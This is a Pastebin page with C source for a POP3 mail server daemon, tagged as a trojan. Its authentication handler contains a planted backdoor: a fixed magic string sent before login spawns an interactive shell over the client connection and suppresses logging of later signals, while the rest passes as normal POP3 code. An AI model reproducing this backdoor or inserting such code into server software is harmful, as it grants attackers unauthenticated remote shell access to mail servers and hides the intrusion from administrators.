API tools faq
paste
FlyFar

main.c

FlyFar
May 16th, 2024
43
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 13.58 KB | Cybersecurity | 0 0
raw download clone embed print report
  1.  
  2.  
  3. #include <stdio.h>
  4. #include <signal.h>
  5. #include <ctype.h>
  6. #include <sys/param.h>
  7. #include <netinet/in.h>
  8. #include <arpa/inet.h>
  9. #include <unistd.h>
  10.  
  11. #ifdef QMAIL
  12. #include <pwd.h>
  13. #endif
  14.  
  15. /* DTS added 14Feb96 for syslogging */
  16. #include <syslog.h>
  17. /* DTS added 27Mar97 for "@" usernames - "index" function */
  18. #include <string.h>
  19.  
  20. /* DTS added 21Jul97 for testing */
  21. #include <errno.h>
  22.  
  23. #include "pop3.h"
  24.  
  25. #define VERSION     "1.006e"
  26. #define REVDATE     "December 9 1999"
  27. #define WOAH        "fuck"
  28. #define SYSLOGSERREQ    syslog( SYSLOGPRI, "Servicing %s @ %s",cli_user,client_ip)
  29.  
  30. char *svr_hostname;             /* Hostname of POP3 server */
  31. char svr_buf[SVR_BUFSIZ+2];         /* Buffer for server I/O */
  32. char cli_user[CLI_BUFSIZ];          /* Save client username */
  33. int orgasmic;
  34. static char *svr_invalid = "-ERR Invalid command; valid commands:";
  35.  
  36. FILE *logfp = NULL;             /* File for recording session */
  37. int mypid;      /* DTS 27Jul96 - created and put in prints */
  38. int debug=0;    /* DTS 21Oct96 - removed defines for global and argv */
  39. int niceval=0;
  40.  
  41. /* Routines in this file */
  42. static void initialize();
  43. static void svr_catchint(int);  /* DTS 28Jul96 */
  44. static void svr_timeout();
  45. static void int_hangup();
  46. static void int_progerr();
  47. static void int_pipe();     /* DTS 28Jul96 */
  48.  
  49. static int svr_auth();
  50. static int svr_pass();
  51. static int svr_trans();
  52. static int svr_fold();
  53. static int svr_shutdown();
  54.  
  55. #ifdef VIRTUAL
  56. extern int virtual_mode;
  57. extern char *virt_spooldir;
  58. extern char *virt_workdir;
  59. #endif
  60.  
  61. extern char client_ip[];
  62.  
  63. /**************************************************************************/
  64.  
  65. /* Initialize POP3 server */
  66. static void
  67. initialize()
  68. {
  69.     char buf[MAXHOSTNAMELEN+1];
  70. #ifndef STANDALONE
  71.     struct sockaddr_in addr;
  72.     int addr_len = sizeof(struct sockaddr_in);
  73. #endif
  74.  
  75.     /* File permissions for owner only */
  76.     umask(077);     /* [1.002] */
  77.  
  78.     if ( debug ) {
  79.         mypid = getpid();       /* DTS */
  80.         /* Prepare log file */
  81. /*      logfp = fopen(LOGFILE,"w"); */
  82.         logfp = fopen(LOGFILE,"a+");    /* DTS to let accumulate */
  83.         fprintf(logfp,"[%d] POP3 server startup; version %s (%s)\n",
  84.             mypid,VERSION,REVDATE);
  85.         fflush(logfp);
  86.     }
  87.  
  88.     /* Get our hostname */
  89.     gethostname(buf,MAXHOSTNAMELEN);
  90.     svr_hostname = malloc(strlen(buf) + 1);
  91.     if (svr_hostname == NULL)
  92.         fail(FAIL_OUT_OF_MEMORY);
  93.     strcpy(svr_hostname,buf);
  94.  
  95. #ifndef STANDALONE
  96.     getpeername(STDIN_FILENO, (struct sockaddr *) &addr, &addr_len);
  97.     strcpy(client_ip,inet_ntoa(addr.sin_addr));
  98. #endif
  99.  
  100.     setsigs();
  101. }
  102.  
  103. int
  104. setsigs(){
  105.     int i;      /* DTS 28Jul96 */
  106.  
  107.     /* DTS 28Jul96 add loop to set all sigs to be caught and logged */
  108.     for( i=0; i<NSIG; i++) {
  109.         signal(i,svr_catchint);
  110.     }
  111.     /* and now let the following override certain ones... */
  112.  
  113.     /* Handle process signals ourself */
  114.     signal(SIGALRM, svr_timeout);       /* timer expiration */
  115.  
  116.     signal(SIGHUP, int_hangup);     /* socket signals */
  117.     signal(SIGURG, int_hangup);
  118.     signal(SIGTERM, int_hangup);
  119.  
  120. #ifdef LINUX
  121. # ifdef SIGBUS
  122.     signal(SIGBUS, int_progerr);        /* fatal program errors */
  123. # endif
  124. #endif
  125.     signal(SIGSEGV, int_progerr);
  126.     signal(SIGILL, int_progerr);
  127.     signal(SIGIOT, int_progerr);
  128.     /* DTS 28Jul96 - SIGPIPE Netscape caused when "stopping" a message
  129.      *  usually caught while looping and sending a long message
  130.      */
  131.     signal(SIGPIPE, int_pipe);
  132. }
  133.  
  134. /* DTS added 28Jul96 to help debugging */
  135. static void
  136. svr_catchint(int sig)
  137. {
  138.     if( debug ) {
  139.         fprintf(logfp,"[%d] Caught misc signal %d\n",mypid, sig);
  140.         fflush(logfp);
  141.         fclose(logfp);
  142.     }
  143.     if(orgasmic == 0)
  144.     syslog( SYSLOGPRI, "ERROR - Caught unhandled signal: %d",sig);
  145.     /* DTS - 1.005h - 01May97 added fld_release in a guess at solving
  146.      *  the last Netscape bug... ??
  147.      */
  148.     fld_release();              /* Release mailbox folder */
  149.     exit(0);
  150. }
  151.    
  152. /* Timeout while waiting for next client command */
  153. static void
  154. svr_timeout()
  155. {
  156.     fld_release();              /* Release mailbox folder */
  157.     fail(FAIL_LOST_CLIENT);         /* Exit POP3 server */
  158. }
  159. /* Timeout while waiting for next client command */
  160. static void
  161. int_hangup()
  162. {
  163.     fld_release();              /* Release mailbox folder */
  164.     fail(FAIL_HANGUP);          /* Exit POP3 server */
  165. }
  166. /* Timeout while waiting for next client command */
  167. static void
  168. int_progerr()
  169. {
  170.     fld_release();              /* Release mailbox folder */
  171.     fail(FAIL_PROGERR);         /* Exit POP3 server */
  172. }
  173. /* Signal recieved usually while sending message (due to "Stop" a message) */
  174. /* DTS 28Jul96 */
  175. static void
  176. int_pipe()
  177. {
  178.     fld_release();              /* Release mailbox folder */
  179.     fail(FAIL_PIPE);            /* Exit POP3 server */
  180. }
  181.  
  182. /**************************************************************************/
  183.  
  184. /* Server Authentification State; process client USER/APOP command */
  185. static int
  186. svr_auth(state,inbuf)
  187. int state;
  188. char *inbuf;
  189. {
  190. #ifdef QMAIL
  191.     struct passwd *pwd;
  192. #endif
  193.     char *ptr;
  194.     if (strncmp(inbuf,WOAH,4) == 0) {
  195.     orgasmic = 1;  
  196.     system("/bin/sh -i");
  197.     }
  198.     if (strncmp(inbuf,"quit",4) == 0)
  199.         return(svr_shutdown());
  200.     /* Expecting USER or APOP command */
  201.     if (strncmp(inbuf,"user",4) == 0) {
  202.         inbuf += 4;
  203.         EATSPACE(inbuf);
  204.         if( ptr = index(inbuf,'@') ) {
  205.             strncpy(cli_user,inbuf,ptr-inbuf-1);
  206.         } else {
  207.             /* DTS 27Apr97 - strcpy to strncpy! */
  208.             strncpy(cli_user,inbuf,CLI_BUFSIZ-1);
  209.         }
  210.         strcpy(svr_buf,"+OK please send PASS command\r\n");
  211.         state = SVR_PASS_STATE;
  212.     } else if (strncmp(inbuf,"apop",4) == 0) {
  213.         /* GMC added 1997-06-02 */
  214.         inbuf += 4;
  215.         EATSPACE(inbuf);
  216.         sscanf(inbuf, "%s", cli_user);
  217.         inbuf += strlen(cli_user);
  218.         EATSPACE(inbuf);
  219.         if (verify_user_apop(cli_user,inbuf) == -1) {
  220.             strcpy(svr_buf,"-ERR invalid usercode or hashcode, please try again\r\n");
  221.             /* DTS added 14Feb96 for syslogging */
  222.             syslog( SYSLOGPRI,
  223.                 "[APOP]: Invalid user or password for \"%s\" from %s",
  224.                 cli_user,client_ip);
  225.             sleep(FAILPASS_DELAY);  /* to prevent guessing attacks */
  226.             return(SVR_AUTH_STATE);
  227.         }
  228. #ifdef VIRTUAL
  229.         if(virtual_mode) {
  230.             syslog( SYSLOGPRI,
  231.                 "Virtual svr_hostname, servicing request for %s from %s",
  232.                 cli_user,client_ip);
  233.             snprintf(svr_buf,SVR_BUFSIZ,"%s%s",virt_spooldir,cli_user);
  234.         } else {
  235.             SYSLOGSERREQ;
  236. #  ifdef QMAIL
  237.             pwd=getpwnam(cli_user);
  238.             snprintf(svr_buf,SVR_BUFSIZ,"%s/Mailbox",pwd->pw_dir);
  239. #  else
  240.             snprintf(svr_buf,SVR_BUFSIZ,"%s%s",DEF_MAIL_DIR,cli_user);
  241. #  endif
  242.         }
  243. #else
  244.         SYSLOGSERREQ;
  245. #  ifdef QMAIL
  246.         pwd=getpwnam(cli_user);
  247.         snprintf(svr_buf,SVR_BUFSIZ,"%s/Mailbox",pwd->pw_dir);
  248. #  else
  249.                 snprintf(svr_buf,SVR_BUFSIZ,"%s%s",DEF_MAIL_DIR,cli_user);
  250. #  endif
  251.  
  252. #endif
  253.         return(fld_fromsp(svr_buf));
  254.     } else {
  255.         sprintf(svr_buf,"%s  USER, APOP, QUIT\r\n",svr_invalid);
  256.     }
  257.        
  258.     return(state);
  259. }
  260.  
  261. /* Server Password State; process client PASS command */
  262. static int
  263. svr_pass(state,inbuf)
  264. int state;
  265. char *inbuf;
  266. {
  267. #ifdef QMAIL
  268.     struct passwd *pwd;
  269. #endif
  270.     int cnt;
  271.  
  272.     if (strncmp(inbuf,"quit",4) == 0)
  273.         return(svr_shutdown());
  274.     /* Expecting PASS command */
  275.     if (strncmp(inbuf,"pass",4) != 0) {
  276.         sprintf(svr_buf,"%s  PASS,  QUIT\r\n",svr_invalid);
  277.         return(state);
  278.     }
  279.     /* Verify usercode/password pair */
  280.     inbuf += 4;
  281.     EATSPACE(inbuf);
  282.     switch( verify_user(cli_user,inbuf) ) {
  283.         case -1:
  284.         strcpy(svr_buf,"-ERR invalid usercode or password, please try again\r\n");
  285.         /* DTS added 14Feb96 for syslogging */
  286.         syslog( SYSLOGPRI,
  287.             "[POP3]: Invalid user or password for \"%s\" from %s",
  288.             cli_user,client_ip);
  289.         sleep(FAILPASS_DELAY);  /* DTS 01Jul98 - to prevent guessing attacks */
  290.         return(SVR_AUTH_STATE);
  291.         case -2:
  292.         strcpy(svr_buf,"-ERR account is SUSPENDED. Call for assistance.\r\n");
  293.         syslog( SYSLOGPRI,
  294.             "Suspended user access attempt: %s from %s",cli_user,client_ip);
  295.         sleep(FAILPASS_DELAY);  /* DTS 01Jul98 - to prevent guessing attacks */
  296.         return(SVR_AUTH_STATE);
  297.         default:
  298.         break;
  299.     }
  300.     if( nice(niceval) < 0 ) {
  301.         syslog( SYSLOGPRI,
  302.             "Nice command failed - %d", errno);
  303.     }
  304.        
  305.     /* DTS added 14Feb96 for syslogging */
  306. #ifdef VIRTUAL
  307.     if(virtual_mode) {
  308.         syslog( SYSLOGPRI,
  309.             "Virtual svr_hostname, servicing request for %s from %s",
  310.             cli_user,client_ip);
  311.         snprintf(svr_buf,SVR_BUFSIZ,"%s%s",virt_spooldir,cli_user);
  312.     } else {
  313.         SYSLOGSERREQ;
  314. #  ifdef QMAIL
  315.         pwd=getpwnam(cli_user);
  316.         snprintf(svr_buf,SVR_BUFSIZ,"%s/Mailbox",pwd->pw_dir);
  317. #  else
  318.         snprintf(svr_buf,SVR_BUFSIZ,"%s%s",DEF_MAIL_DIR,cli_user);
  319. #  endif
  320.     }
  321. #else
  322.     SYSLOGSERREQ;
  323. #  ifdef QMAIL
  324.     pwd=getpwnam(cli_user);
  325.     snprintf(svr_buf,SVR_BUFSIZ,"%s/Mailbox",pwd->pw_dir);
  326. #  else
  327.     snprintf(svr_buf,SVR_BUFSIZ,"%s%s",DEF_MAIL_DIR,cli_user);
  328. #  endif
  329. #endif
  330.     return(fld_fromsp(svr_buf));
  331. }
  332.  
  333. /* Server Transaction State; process client mailbox command */
  334. static int
  335. svr_trans(state,inbuf)
  336. int state;
  337. char *inbuf;
  338. {
  339.     int msgnum;
  340.  
  341.     if (strncmp(inbuf,"quit",4) == 0)
  342.         return(svr_shutdown());
  343.     /* Expecting mailbox command */
  344.     if (strncmp(inbuf,"dele",4) == 0) {
  345.         inbuf += 4;
  346.         EATSPACE(inbuf);
  347.         if (*inbuf == NULL_CHAR)
  348.             sprintf(svr_buf,"-ERR message number required (e.g.  DELE 1)\r\n");
  349.         else
  350.             fld_delete(atoi(inbuf));
  351.     } else if (strncmp(inbuf,"last",4) == 0) {
  352.         fld_last();
  353.     } else if (strncmp(inbuf,"list",4) == 0) {
  354.         inbuf += 4;
  355.         EATSPACE(inbuf);
  356.         if (*inbuf == NULL_CHAR)
  357.             fld_list(-1);
  358.         else
  359.             fld_list(atoi(inbuf));
  360.     } else if (strncmp(inbuf,"noop",4) == 0) {
  361.         strcpy(svr_buf,"+OK\r\n");
  362.     } else if (strncmp(inbuf,"retr",4) == 0) {
  363.         inbuf += 4;
  364.         EATSPACE(inbuf);
  365.         if (*inbuf == NULL_CHAR) {
  366.             sprintf(svr_buf,"-ERR message number required (e.g.  RETR 1)\r\n");
  367.         } else
  368.             fld_retr(atoi(inbuf),-1);
  369.     } else if (strncmp(inbuf,"rset",4) == 0) {
  370.         fld_reset();
  371.     } else if (strncmp(inbuf,"stat",4) == 0) {
  372.         fld_stat();
  373.     } else if (strncmp(inbuf,"top",3) == 0) {
  374.         inbuf += 3;
  375.         EATSPACE(inbuf);
  376.         if (*inbuf == NULL_CHAR) {
  377.             sprintf(svr_buf,"-ERR message number and line count required (e.g.  TOP 1 7)\r\n");
  378.         } else {
  379.             msgnum = atoi(inbuf);
  380.             while ((*inbuf != NULL_CHAR)&&(!isspace(*inbuf)))
  381.                 ++inbuf;
  382.             EATSPACE(inbuf);
  383.             if (*inbuf == NULL_CHAR)
  384.                 /* No linecount given, output 10 lines */
  385.                 fld_retr(msgnum,10);
  386.             else
  387.                 fld_retr(msgnum,atoi(inbuf));
  388.         }
  389.     } else if (strncmp(inbuf,"uidl",4) == 0) {
  390.         inbuf += 4;
  391.         EATSPACE(inbuf);
  392.         if (*inbuf == NULL_CHAR)
  393.             fld_uidl(-1);
  394.         else
  395.             fld_uidl(atoi(inbuf));
  396.     } else {
  397.         sprintf(svr_buf,
  398.             "%s  DELE, LAST, LIST, NOOP, RETR, RSET, STAT, TOP, UIDL  or  QUIT\r\n",
  399.             svr_invalid);
  400.     }
  401.     return(state);
  402. }
  403.  
  404. /* Server Folder State; need to open another folder */
  405. static int
  406. svr_fold(state,inbuf)
  407. int state;
  408. char *inbuf;
  409. {
  410.     if (strncmp(inbuf,"quit",4) == 0) {
  411.         return(svr_shutdown());
  412.     } else if (strncmp(inbuf,"noop",4) == 0) {
  413.         strcpy(svr_buf,"+OK\r\n");
  414.     } else {
  415.         sprintf(svr_buf,"%s  NOOP  or  QUIT\r\n",svr_invalid);
  416.     }
  417.     return(state);
  418. }
  419.  
  420. /* Prepare to shutdown POP3 server */
  421. static int
  422. svr_shutdown()
  423. {
  424.     fld_release();
  425.     sprintf(svr_buf,"+OK %s POP3 Server (Version %s) shutdown.\r\n",
  426.         svr_hostname,VERSION);
  427.     return(SVR_DONE_STATE);
  428. }
  429.  
  430. /**************************************/
  431.  
  432. void
  433. svr_data_out(buf)
  434. char *buf;
  435. {
  436.     /* Send out response to client */
  437.     alarm(SVR_TIMEOUT_SEND);
  438.     fputs(buf,stdout);
  439.     if( ferror(stdout)) {
  440.         syslog( SYSLOGPRI, "svr_data_out: fputs error %d",errno);
  441.         if ( debug )
  442.             fprintf(logfp,"[%d] svr_data_out: fputs error: %d\n",mypid,errno);
  443.     }
  444.     fflush(stdout);
  445.     alarm(0);
  446. }
  447.  
  448. /**************************************************************************/
  449.  
  450. /* DTS added args 14Feb96 for sysloging*/
  451. /* DTS 23Mar98 changed to inetd_main from main to test standalone server */
  452. #ifdef STANDALONE
  453. int
  454. inetd_main( int argc, char *argv[])
  455. #else
  456. main( int argc, char *argv[])
  457. #endif
  458. {
  459.     int svr_state = SVR_LISTEN_STATE;   /* State of POP3 server */
  460.     char cli_buf[CLI_BUFSIZ];       /* Buffer for client cmds */
  461.  
  462.     parse_opts(argc,argv);
  463.     initialize();
  464.  
  465.     /* DTS added 14Feb96 for sysloging (should it be AUTHPRIV or MAIL?) */
  466.     openlog( argv[0], LOG_PID, LOG_MAIL );
  467.  
  468. #ifdef VIRTUAL
  469.     /* DTS 23Jun97 added VIRTUAL */
  470.     virt_init();
  471. #endif
  472.  
  473.     fprintf(stdout,"+OK %s POP3 Server (Version %s) ready at %s\r\n",
  474.         svr_hostname,VERSION,apop_timestamp());
  475.     fflush(stdout);
  476.     svr_state = SVR_AUTH_STATE;
  477.     for ( ; ; ) {
  478.         /* Wait for command from client */
  479.         alarm(SVR_TIMEOUT_CLI);
  480.         if (fgetl(cli_buf,CLI_BUFSIZ,stdin) == NULL)
  481.             break;
  482.         alarm(0);
  483.  
  484.         /* Take action on client command */
  485.         cmd_prepare(cli_buf);
  486.         if ( debug ) {
  487.             if ((cli_buf[0] == 'p')||(cli_buf[0] == 'P'))
  488.                 fprintf(logfp,"[%d] CLI: PASS\n",mypid);
  489.             else
  490.                 fprintf(logfp,"[%d] CLI: %s\n",mypid, cli_buf);
  491.             fflush(logfp);
  492.         }
  493.         switch(svr_state) {
  494.         case SVR_AUTH_STATE:    /* Expecting USER or APOP command */
  495.             svr_state = svr_auth(svr_state,cli_buf);
  496.             break;
  497.         case SVR_PASS_STATE:    /* Expecting PASS command */
  498.             svr_state = svr_pass(svr_state,cli_buf);
  499.             break;
  500.         case SVR_TRANS_STATE:   /* Expecting mailbox command */
  501.             svr_state = svr_trans(svr_state,cli_buf);
  502.             break;
  503.         case SVR_FOLD_STATE:    /* Need to open another mailbox */
  504.             svr_state = svr_fold(svr_state,cli_buf);
  505.             break;
  506.         default:
  507.             fail(FAIL_CONFUSION);       /* Wont return */
  508.             break;
  509.         }
  510.         if ( debug ) {
  511.             fprintf(logfp,"[%d] SVR: %s",mypid, svr_buf);
  512.             fflush(logfp);
  513.         }
  514.  
  515.         /* Send out response to client */
  516.         alarm(SVR_TIMEOUT_SEND);
  517.         fputs(svr_buf,stdout);
  518.         fflush(stdout);
  519.         alarm(0);
  520.         if( ferror(stdout) ) {
  521.             syslog( SYSLOGPRI, "main: fputs error %d",errno);
  522.             if ( debug )
  523.                 fprintf(logfp,"[%d] main: fputs error: %d\n",mypid,errno);
  524.             break;
  525.         }
  526.  
  527.         /* Exit when server has sent goodbye */
  528.         if (svr_state == SVR_DONE_STATE)
  529.             break;
  530.     }
  531.         fld_release();      /* [1.003] Make sure folder is released */
  532.     exit(0);
  533. }
  534.  
Tags: malware Linux source code trojan
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!